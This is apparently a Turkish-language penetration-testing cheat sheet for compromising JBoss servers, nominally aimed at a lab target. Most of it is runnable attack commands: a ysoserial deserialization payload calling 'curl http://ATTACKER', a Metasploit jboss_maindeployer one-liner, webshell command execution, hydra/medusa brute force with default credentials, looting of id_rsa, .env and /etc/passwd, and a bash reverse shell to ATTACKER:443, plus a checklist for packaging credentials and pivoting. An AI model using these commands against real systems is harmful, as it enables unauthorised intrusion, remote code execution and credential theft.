JBOSS

JBoss rce

JBoss JMX/invoker ve Java deser yüzeyi klasik unauth RCE üretir. Hedef lab IP’si üzerinde komutları 80 portuna göre uyarla; her başarıyı ayrı kanıtla.

Metodoloji

1. 8080/9990 fingerprint.

2. JMX/console.

3. Invoker/deser.

4. Deploy war.

Keşif

curl -s http://TARGET:8080/jmx-console/

curl -s http://TARGET:8080/invoker/JMXInvokerServlet

nmap -p8080,9990 --script http-jboss* TARGET

RCE

java -jar ysoserial.jar CommonsCollections5 'curl http://ATTACKER' > payload.ser

msfconsole -q -x 'use exploit/multi/http/jboss_maindeployer; set RHOSTS TARGET; run'

curl -s http://TARGET:8080/shell/shell.jsp?cmd=id

Derin enum

JBOSS için ek keşif ve fingerprint.

nmap -Pn -sV -sC -p80 TARGET

nmap -Pn -p80 --script safe,discovery TARGET

timeout 5 bash -c 'echo | openssl s_client -connect TARGET:80' 2>/dev/null | head

python3 -c "import socket;s=socket.create_connection(('TARGET',80));s.settimeout(3);print(s.recv(4096))"

Banner / TLS / ALPN notları → JBOSS

Kimlik & brute (ek)

hydra -L users.txt -P rockyou.txt -s 80 PROTOCOL://TARGET -t 4

medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 80

nmap -p80 --script '*-brute' TARGET

admin/admin, root/root, guest/(boş), test/test

Exploit arama

searchsploit JBoss

msfconsole -q -x 'search JBoss; exit'

nuclei -u https://TARGET:80 -t cves/ -silent -severity || true

nuclei -u http://TARGET:80 -tags tech -silent || true

Manuel protokol

nc -nv TARGET 80

printf '
' | timeout 3 nc -nv TARGET 80

curl -vk --http1.0 http://TARGET:80/

Wireshark/tcpdump ile konuşmayı kaydet; replay dene

Post-erişim & loot

config, key, session, env, backup

find / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | head

ss -lntp; ip a; cat /etc/passwd | head

bash -i >& /dev/tcp/ATTACKER/443 0>&1

mkdir -p loot && tee loot/notes.txt

Operasyon checklist

[ ] Fingerprint / sürüm
[ ] Auth ve anonim erişim
[ ] PoC etki gösterildi
[ ] Credential/shell paketlendi
[ ] Pivot notu

Zincir

jmx/invoker → deser/deploy → webshell